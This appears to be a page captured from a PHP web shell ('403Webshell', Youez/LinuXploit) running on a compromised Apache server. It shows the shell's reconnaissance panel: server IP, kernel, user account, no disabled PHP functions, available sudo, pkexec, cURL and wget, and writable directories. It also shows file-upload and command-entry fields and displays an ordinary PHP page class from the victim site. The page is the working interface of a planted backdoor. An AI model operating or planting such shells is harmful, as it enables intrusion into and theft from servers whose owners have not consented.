403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/dev/app/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/dev/app/classes/Pages.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace app\classes;

/**
 * Description of Pages
 *
 * @author Maroš
 */
class Pages extends PDOCollection {

    public function __construct($type, $hidden = false, $disabled = false, $blog = false) {
        $bindArray = array("state_deleted" => \app\constants\State::DELETED, "type" => $type);
        $conditions = " WHERE state!=:state_deleted AND type=:type";

        $conditions .= $hidden === true ? "" : " AND state!=:state_hidden";
        $conditions .= $disabled === true ? "" : " AND state!=:state_disabled";        

        $hidden ? "" : $bindArray["state_hidden"] = \app\constants\PageState::HIDDEN;
        $disabled ? "" : $bindArray["state_disabled"] = \app\constants\PageState::DISABLED;
        parent::__construct($blog ? "posts" : "pages", "id", false, $bindArray, $conditions);
    }  

}

Youez - 2016 - github.com/yon3zu
LinuXploit